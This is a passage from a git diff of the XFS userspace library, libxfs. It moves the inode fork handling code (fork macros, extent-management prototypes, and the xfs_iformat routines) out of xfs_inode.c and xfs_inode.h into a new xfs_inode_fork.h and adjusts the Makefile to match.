XFS_ICHGTIME_CHG 0x2 /* inode field change timestamp */ #define XFS_ICHGTIME_CREATE 0x4 /* inode create timestamp */ -/* - * Per-fork incore inode flags. - */ -#define XFS_IFINLINE 0x01 /* Inline data is read in */ -#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ -#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ -#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ - -/* - * Fork handling. - */ - -#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) -#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) - -#define XFS_IFORK_PTR(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - &(ip)->i_df : \ - (ip)->i_afp) -#define XFS_IFORK_DSIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_IFORK_BOFF(ip) : \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) -#define XFS_IFORK_ASIZE(ip) \ - (XFS_IFORK_Q(ip) ? \ - XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ - XFS_IFORK_BOFF(ip) : \ - 0) -#define XFS_IFORK_SIZE(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - XFS_IFORK_DSIZE(ip) : \ - XFS_IFORK_ASIZE(ip)) -#define XFS_IFORK_FORMAT(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_format : \ - (ip)->i_d.di_aformat) -#define XFS_IFORK_FMT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_format = (n)) : \ - ((ip)->i_d.di_aformat = (n))) -#define XFS_IFORK_NEXTENTS(ip,w) \ - ((w) == XFS_DATA_FORK ? \ - (ip)->i_d.di_nextents : \ - (ip)->i_d.di_anextents) -#define XFS_IFORK_NEXT_SET(ip,w,n) \ - ((w) == XFS_DATA_FORK ? \ - ((ip)->i_d.di_nextents = (n)) : \ - ((ip)->i_d.di_anextents = (n))) -#define XFS_IFORK_MAXEXT(ip, w) \ - (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) - #ifdef __KERNEL__ @@ -515,35 +413,6 @@ int xfs_iread(struct xfs_mount *, struct xfs_trans *, void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); void xfs_dinode_to_disk(struct xfs_dinode *, struct xfs_icdinode *); -void xfs_idestroy_fork(struct xfs_inode *, int); -void xfs_idata_realloc(struct xfs_inode *, int, int); -void xfs_iroot_realloc(struct xfs_inode *, int, int); -int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); -int xfs_iextents_copy(struct xfs_inode *, xfs_bmbt_rec_t *, int); - -xfs_bmbt_rec_host_t *xfs_iext_get_ext(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_insert(struct xfs_inode *, xfs_extnum_t, xfs_extnum_t, - xfs_bmbt_irec_t *, int); -void xfs_iext_add(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_add_indirect_multi(xfs_ifork_t *, int, xfs_extnum_t, int); -void xfs_iext_remove(struct xfs_inode *, xfs_extnum_t, int, int); -void xfs_iext_remove_inline(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_direct(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_remove_indirect(xfs_ifork_t *, xfs_extnum_t, int); -void xfs_iext_realloc_direct(xfs_ifork_t *, int); -void xfs_iext_direct_to_inline(xfs_ifork_t *, xfs_extnum_t); -void xfs_iext_inline_to_direct(xfs_ifork_t *, int); -void xfs_iext_destroy(xfs_ifork_t *); -xfs_bmbt_rec_host_t *xfs_iext_bno_to_ext(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_bno_to_irec(xfs_ifork_t *, xfs_fileoff_t, int *); -xfs_ext_irec_t *xfs_iext_idx_to_irec(xfs_ifork_t *, xfs_extnum_t *, int *, int); -void xfs_iext_irec_init(xfs_ifork_t *); -xfs_ext_irec_t *xfs_iext_irec_new(xfs_ifork_t *, int); -void xfs_iext_irec_remove(xfs_ifork_t *, int); -void xfs_iext_irec_compact(xfs_ifork_t *); -void xfs_iext_irec_compact_pages(xfs_ifork_t *); -void xfs_iext_irec_compact_full(xfs_ifork_t *); -void xfs_iext_irec_update_extoffs(xfs_ifork_t *, int, int); bool xfs_can_free_eofblocks(struct xfs_inode *, bool); #define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) @@ -554,7 +423,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; diff --git a/include/xfs_inode_fork.h b/include/xfs_inode_fork.h new file mode 100644 index 0000000..28661a0 --- /dev/null +++ b/include/xfs_inode_fork.h @@ -0,0 +1,171 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_FORK_H__ +#define __XFS_INODE_FORK_H__ + +struct xfs_inode_log_item; + +/* + * The following xfs_ext_irec_t struct introduces a second (top) level + * to the in-core extent allocation scheme. These structs are allocated + * in a contiguous block, creating an indirection array where each entry + * (irec) contains a pointer to a buffer of in-core extent records which + * it manages. Each extent buffer is 4k in size, since 4k is the system + * page size on Linux i386 and systems with larger page sizes don't seem + * to gain much, if anything, by using their native page size as the + * extent buffer size. Also, using 4k extent buffers everywhere provides + * a consistent interface for CXFS across different platforms. + * + * There is currently no limit on the number of irec's (extent lists) + * allowed, so heavily fragmented files may require an indirection array + * which spans multiple system pages of memory. The number of extents + * which would require this amount of contiguous memory is very large + * and should not cause problems in the foreseeable future. However, + * if the memory needed for the contiguous array ever becomes a problem, + * it is possible that a third level of indirection may be required. + */ +typedef struct xfs_ext_irec { + xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ + xfs_extnum_t er_extoff; /* extent offset in file */ + xfs_extnum_t er_extcount; /* number of extents in page/block */ +} xfs_ext_irec_t; + +/* + * File incore extent information, present for each of data & attr forks. + */ +#define XFS_IEXT_BUFSZ 4096 +#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) +#define XFS_INLINE_EXTS 2 +#define XFS_INLINE_DATA 32 +typedef struct xfs_ifork { + int if_bytes; /* bytes in if_u1 */ + int if_real_bytes; /* bytes allocated in if_u1 */ + struct xfs_btree_block *if_broot; /* file's incore btree root */ + short if_broot_bytes; /* bytes allocated for root */ + unsigned char if_flags; /* per-fork flags */ + union { + xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ + xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ + char *if_data; /* inline file data */ + } if_u1; + union { + xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; + /* very small file extents */ + char if_inline_data[XFS_INLINE_DATA]; + /* very small file data */ + xfs_dev_t if_rdev; /* dev number if special */ + uuid_t if_uuid; /* mount point value */ + } if_u2; +} xfs_ifork_t; + +/* + * Per-fork incore inode flags. + */ +#define XFS_IFINLINE 0x01 /* Inline data is read in */ +#define XFS_IFEXTENTS 0x02 /* All extent pointers are read in */ +#define XFS_IFBROOT 0x04 /* i_broot points to the bmap b-tree root */ +#define XFS_IFEXTIREC 0x08 /* Indirection array of extent blocks */ + +/* + * Fork handling. + */ + +#define XFS_IFORK_Q(ip) ((ip)->i_d.di_forkoff != 0) +#define XFS_IFORK_BOFF(ip) ((int)((ip)->i_d.di_forkoff << 3)) + +#define XFS_IFORK_PTR(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + &(ip)->i_df : \ + (ip)->i_afp) +#define XFS_IFORK_DSIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_IFORK_BOFF(ip) : \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version)) +#define XFS_IFORK_ASIZE(ip) \ + (XFS_IFORK_Q(ip) ? \ + XFS_LITINO((ip)->i_mount, (ip)->i_d.di_version) - \ + XFS_IFORK_BOFF(ip) : \ + 0) +#define XFS_IFORK_SIZE(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + XFS_IFORK_DSIZE(ip) : \ + XFS_IFORK_ASIZE(ip)) +#define XFS_IFORK_FORMAT(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_format : \ + (ip)->i_d.di_aformat) +#define XFS_IFORK_FMT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_format = (n)) : \ + ((ip)->i_d.di_aformat = (n))) +#define XFS_IFORK_NEXTENTS(ip,w) \ + ((w) == XFS_DATA_FORK ? \ + (ip)->i_d.di_nextents : \ + (ip)->i_d.di_anextents) +#define XFS_IFORK_NEXT_SET(ip,w,n) \ + ((w) == XFS_DATA_FORK ? \ + ((ip)->i_d.di_nextents = (n)) : \ + ((ip)->i_d.di_anextents = (n))) +#define XFS_IFORK_MAXEXT(ip, w) \ + (XFS_IFORK_SIZE(ip, w) / sizeof(xfs_bmbt_rec_t)) + +int xfs_iformat_fork(struct xfs_inode *, struct xfs_dinode *); +void xfs_iflush_fork(struct xfs_inode *, struct xfs_dinode *, + struct xfs_inode_log_item *, int, + struct xfs_buf *); +void xfs_idestroy_fork(struct xfs_inode *, int); +void xfs_idata_realloc(struct xfs_inode *, int, int); +void xfs_iroot_realloc(struct xfs_inode *, int, int); +int xfs_iread_extents(struct xfs_trans *, struct xfs_inode *, int); +int xfs_iextents_copy(struct xfs_inode *, struct xfs_bmbt_rec *, + int); + +struct xfs_bmbt_rec_host * + xfs_iext_get_ext(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_insert(struct xfs_inode *, xfs_extnum_t, xfs_extnum_t, + struct xfs_bmbt_irec *, int); +void xfs_iext_add(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_add_indirect_multi(struct xfs_ifork *, int, + xfs_extnum_t, int); +void xfs_iext_remove(struct xfs_inode *, xfs_extnum_t, int, int); +void xfs_iext_remove_inline(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_direct(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_remove_indirect(struct xfs_ifork *, xfs_extnum_t, int); +void xfs_iext_realloc_direct(struct xfs_ifork *, int); +void xfs_iext_direct_to_inline(struct xfs_ifork *, xfs_extnum_t); +void xfs_iext_inline_to_direct(struct xfs_ifork *, int); +void xfs_iext_destroy(struct xfs_ifork *); +struct xfs_bmbt_rec_host * + xfs_iext_bno_to_ext(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_bno_to_irec(struct xfs_ifork *, xfs_fileoff_t, int *); +struct xfs_ext_irec * + xfs_iext_idx_to_irec(struct xfs_ifork *, xfs_extnum_t *, int *, + int); +void xfs_iext_irec_init(struct xfs_ifork *); +struct xfs_ext_irec * + xfs_iext_irec_new(struct xfs_ifork *, int); +void xfs_iext_irec_remove(struct xfs_ifork *, int); +void xfs_iext_irec_compact(struct xfs_ifork *); +void xfs_iext_irec_compact_pages(struct xfs_ifork *); +void xfs_iext_irec_compact_full(struct xfs_ifork *); +void xfs_iext_irec_update_extoffs(struct xfs_ifork *, int, int); + +extern struct kmem_zone *xfs_ifork_zone; + +#endif /* __XFS_INODE_FORK_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 64b5979..ed978f9 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -12,7 +12,12 @@ LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ - xfs_alloc.c xfs_ialloc.c xfs_inode.c xfs_btree.c xfs_alloc_btree.c \ + xfs_alloc.c \ + xfs_alloc_btree.c \ + xfs_btree.c \ + xfs_ialloc.c \ + xfs_inode.c \ + xfs_inode_fork.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c index d6513b9..7efe1b3 100644 --- a/libxfs/xfs_inode.c +++ b/libxfs/xfs_inode.c @@ -18,7 +18,6 @@ #include -kmem_zone_t *xfs_ifork_zone; kmem_zone_t *xfs_inode_zone; /* @@ -27,38 +26,6 @@ kmem_zone_t *xfs_inode_zone; */ #define XFS_ITRUNC_MAX_EXTENTS 2 -STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); -STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); -STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); - -#ifdef DEBUG -/* - * Make sure that the extents in the given memory buffer - * are valid. - */ -STATIC void -xfs_validate_extents( - xfs_ifork_t *ifp, - int nrecs, - xfs_exntfmt_t fmt) -{ - xfs_bmbt_irec_t irec; - xfs_bmbt_rec_host_t rec; - int i; - - for (i = 0; i < nrecs; i++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - rec.l0 = get_unaligned(&ep->l0); - rec.l1 = get_unaligned(&ep->l1); - xfs_bmbt_get_all(&rec, &irec); - if (fmt == XFS_EXTFMT_NOSTATE) - ASSERT(irec.br_state == XFS_EXT_NORM); - } -} -#else /* DEBUG */ -#define xfs_validate_extents(ifp, nrecs, fmt) -#endif /* DEBUG */ - /* * Check that none of the inode's in the buffer have a next * unlinked field of 0. @@ -193,351 +160,6 @@ xfs_imap_to_bp( return 0; } -/* - * Move inode type and inode format specific information from the - * on-disk inode to the in-core inode. For fifos, devs, and sockets - * this means set if_rdev to the proper value. For files, directories, - * and symlinks this means to bring in the in-line data or extent - * pointers. For a file in B-tree format, only the root is immediately - * brought in-core. The rest will be in-lined in if_extents when it - * is first referenced (see xfs_iread_extents()). - */ -STATIC int -xfs_iformat( - xfs_inode_t *ip, - xfs_dinode_t *dip) -{ - xfs_attr_shortform_t *atp; - int size; - int error = 0; - xfs_fsize_t di_size; - - if (unlikely(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents) > - be64_to_cpu(dip->di_nblocks))) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", - (unsigned long long)ip->i_ino, - (int)(be32_to_cpu(dip->di_nextents) + - be16_to_cpu(dip->di_anextents)), - (unsigned long long) - be64_to_cpu(dip->di_nblocks)); - XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { - xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", - (unsigned long long)ip->i_ino, - dip->di_forkoff); - XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && - !ip->i_mount->m_rtdev)) { - xfs_warn(ip->i_mount, - "corrupt dinode %Lu, has realtime flag set.", - ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", - XFS_ERRLEVEL_LOW, ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - switch (ip->i_d.di_mode & S_IFMT) { - case S_IFIFO: - case S_IFCHR: - case S_IFBLK: - case S_IFSOCK: - if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { - XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ip->i_d.di_size = 0; - ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); - break; - - case S_IFREG: - case S_IFLNK: - case S_IFDIR: - switch (dip->di_format) { - case XFS_DINODE_FMT_LOCAL: - /* - * no local regular files yet - */ - if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (local format for regular file).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat(4)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - di_size = be64_to_cpu(dip->di_size); - if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %Ld for local inode).", - (unsigned long long) ip->i_ino, - (long long) di_size); - XFS_CORRUPTION_ERROR("xfs_iformat(5)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - size = (int)di_size; - error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); - break; - default: - XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - break; - - default: - XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - if (error) { - return error; - } - if (!XFS_DFORK_Q(dip)) - return 0; - - ASSERT(ip->i_afp == NULL); - ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); - - switch (dip->di_aformat) { - case XFS_DINODE_FMT_LOCAL: - atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); - size = be16_to_cpu(atp->hdr.totsize); - - if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad attr fork size %Ld).", - (unsigned long long) ip->i_ino, - (long long) size); - XFS_CORRUPTION_ERROR("xfs_iformat(8)", - XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); - break; - case XFS_DINODE_FMT_EXTENTS: - error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); - break; - case XFS_DINODE_FMT_BTREE: - error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); - break; - default: - error = XFS_ERROR(EFSCORRUPTED); - break; - } - if (error) { - kmem_zone_free(xfs_ifork_zone, ip->i_afp); - ip->i_afp = NULL; - xfs_idestroy_fork(ip, XFS_DATA_FORK); - } - return error; -} - -/* - * The file is in-lined in the on-disk inode. - * If it fits into if_inline_data, then copy - * it there, otherwise allocate a buffer for it - * and copy the data there. Either way, set - * if_data to point at the data. - * If we allocate a buffer for the data, make - * sure that its size is a multiple of 4 and - * record the real size in i_real_bytes. - */ -STATIC int -xfs_iformat_local( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork, - int size) -{ - xfs_ifork_t *ifp; - int real_size; - - /* - * If the size is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, - "corrupt inode %Lu (bad size %d for local fork, size = %d).", - (unsigned long long) ip->i_ino, size, - XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); - XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - ifp = XFS_IFORK_PTR(ip, whichfork); - real_size = 0; - if (size == 0) - ifp->if_u1.if_data = NULL; - else if (size <= sizeof(ifp->if_u2.if_inline_data)) - ifp->if_u1.if_data = ifp->if_u2.if_inline_data; - else { - real_size = roundup(size, 4); - ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); - } - ifp->if_bytes = size; - ifp->if_real_bytes = real_size; - if (size) - memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFINLINE; - return 0; -} - -/* - * The file consists of a set of extents all - * of which fit into the on-disk inode. - * If there are few enough extents to fit into - * the if_inline_ext, then copy them there. - * Otherwise allocate a buffer for them and copy - * them into it. Either way, set if_extents - * to point at the extents. - */ -STATIC int -xfs_iformat_extents( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - xfs_bmbt_rec_t *dp; - xfs_ifork_t *ifp; - int nex; - int size; - int i; - - ifp = XFS_IFORK_PTR(ip, whichfork); - nex = XFS_DFORK_NEXTENTS(dip, whichfork); - size = nex * (uint)sizeof(xfs_bmbt_rec_t); - - /* - * If the number of extents is unreasonable, then something - * is wrong and we just bail out rather than crash in - * kmem_alloc() or memcpy() below. - */ - if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { - xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", - (unsigned long long) ip->i_ino, nex); - XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, - ip->i_mount, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_real_bytes = 0; - if (nex == 0) - ifp->if_u1.if_extents = NULL; - else if (nex <= XFS_INLINE_EXTS) - ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; - else - xfs_iext_add(ifp, 0, nex); - - ifp->if_bytes = size; - if (size) { - dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); - xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); - for (i = 0; i < nex; i++, dp++) { - xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); - ep->l0 = get_unaligned_be64(&dp->l0); - ep->l1 = get_unaligned_be64(&dp->l1); - } - XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); - if (whichfork != XFS_DATA_FORK || - XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) - if (unlikely(xfs_check_nostate_extents( - ifp, 0, nex))) { - XFS_ERROR_REPORT("xfs_iformat_extents(2)", - XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - } - ifp->if_flags |= XFS_IFEXTENTS; - return 0; -} - -/* - * The file has too many extents to fit into - * the inode, so they are in B-tree format. - * Allocate a buffer for the root of the B-tree - * and copy the root into it. The i_extents - * field will remain NULL until all of the - * extents are read in (when they are needed). - */ -STATIC int -xfs_iformat_btree( - xfs_inode_t *ip, - xfs_dinode_t *dip, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - xfs_bmdr_block_t *dfp; - xfs_ifork_t *ifp; - /* REFERENCED */ - int nrecs; - int size; - - ifp = XFS_IFORK_PTR(ip, whichfork); - dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); - size = XFS_BMAP_BROOT_SPACE(mp, dfp); - nrecs = be16_to_cpu(dfp->bb_numrecs); - - /* - * blow out if -- fork has less extents than can fit in - * fork (fork shouldn't be a btree format), root btree - * block has more records than can fit into the fork, - * or the number of extents is greater than the number of - * blocks. - */ - if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= - XFS_IFORK_MAXEXT(ip, whichfork) || - XFS_BMDR_SPACE_CALC(nrecs) > - XFS_DFORK_SIZE(dip, mp, whichfork) || - XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { - xfs_warn(mp, "corrupt inode %Lu (btree).", - (unsigned long long) ip->i_ino); - XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, - mp, dip); - return XFS_ERROR(EFSCORRUPTED); - } - - ifp->if_broot_bytes = size; - ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); - ASSERT(ifp->if_broot != NULL); - /* - * Copy and convert from the on-disk structure - * to the in-memory structure. - */ - xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), - ifp->if_broot, size); - ifp->if_flags &= ~XFS_IFEXTENTS; - ifp->if_flags |= XFS_IFBROOT; - - return 0; -} - void xfs_dinode_from_disk( xfs_icdinode_t *to, @@ -656,7 +278,6 @@ xfs_dinode_verify( return false; return true; } - void xfs_dinode_calc_crc( struct xfs_mount *mp, @@ -714,13 +335,13 @@ xfs_iread( /* * If the on-disk inode is already linked to a directory * entry, copy all of the inode into the in-core inode. - * xfs_iformat() handles copying in the inode format + * xfs_iformat_fork() handles copying in the inode format * specific information. * Otherwise, just get the truly permanent information. */ if (dip->di_mode) { xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat(ip, dip); + error = xfs_iformat_fork(ip, dip); if (error) { #ifdef DEBUG xfs_alert(mp, "%s: xfs_iformat() returned error %d", @@ -796,1498 +417,3 @@ xfs_iread( xfs_trans_brelse(tp, bp); return error; } - -/* - * Read in extents from a btree-format inode. - * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. - */ -int -xfs_iread_extents( - xfs_trans_t *tp, - xfs_inode_t *ip, - int whichfork) -{ - int error; - xfs_ifork_t *ifp; - xfs_extnum_t nextents; - - if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { - XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, - ip->i_mount); - return XFS_ERROR(EFSCORRUPTED); - } - nextents = XFS_IFORK_NEXTENTS(ip, whichfork); - ifp = XFS_IFORK_PTR(ip, whichfork); - - /* - * We know that the size is valid (it's checked in iformat_btree) - */ - ifp->if_bytes = ifp->if_real_bytes = 0; - ifp->if_flags |= XFS_IFEXTENTS; - xfs_iext_add(ifp, 0, nextents); - error = xfs_bmap_read_extents(tp, ip, whichfork); - if (error) { - xfs_iext_destroy(ifp); - ifp->if_flags &= ~XFS_IFEXTENTS; - return error; - } - xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); - return 0; -} - -/* - * Reallocate the space for if_broot based on the number of records - * being added or deleted as indicated in rec_diff. Move the records - * and pointers in if_broot to fit the new size. When shrinking this - * will eliminate holes between the records and pointers created by - * the caller. When growing this will create holes to be filled in - * by the caller. - * - * The caller must not request to add more records than would fit in - * the on-disk inode root. If the if_broot is currently NULL, then - * if we adding records one will be allocated. The caller must also - * not request that the number of records go below zero, although - * it can go to zero. - * - * ip -- the inode whose if_broot area is changing - * ext_diff -- the change in the number of records, positive or negative, - * requested for the if_broot array. - */ -void -xfs_iroot_realloc( - xfs_inode_t *ip, - int rec_diff, - int whichfork) -{ - struct xfs_mount *mp = ip->i_mount; - int cur_max; - xfs_ifork_t *ifp; - struct xfs_btree_block *new_broot; - int new_max; - size_t new_size; - char *np; - char *op; - - /* - * Handle the degenerate case quietly. - */ - if (rec_diff == 0) { - return; - } - - ifp = XFS_IFORK_PTR(ip, whichfork); - if (rec_diff > 0) { - /* - * If there wasn't any memory allocated before, just - * allocate it now and get out. - */ - if (ifp->if_broot_bytes == 0) { - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); - ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - ifp->if_broot_bytes = (int)new_size; - return; - } - - /* - * If there is already an existing if_broot, then we need - * to realloc() it and shift the pointers to their new - * location. The records don't change location because - * they are kept butted up against the btree block header. - */ - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, - XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), - KM_SLEEP | KM_NOFS); - op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - ifp->if_broot_bytes); - np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, - (int)new_size); - ifp->if_broot_bytes = (int)new_size; - ASSERT(ifp->if_broot_bytes <= - XFS_IFORK_SIZE(ip, whichfork) + XFS_BROOT_SIZE_ADJ(ip)); - memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); - return; - } - - /* - * rec_diff is less than 0. In this case, we are shrinking the - * if_broot buffer. It must already exist. If we go to zero - * records, just get rid of the root and clear the status bit. - */ - ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); - cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); - new_max = cur_max + rec_diff; - ASSERT(new_max >= 0); - if (new_max > 0) - new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); - else - new_size = 0; - if (new_size > 0) { - new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); - /* - * First copy over the btree block header. - */ - 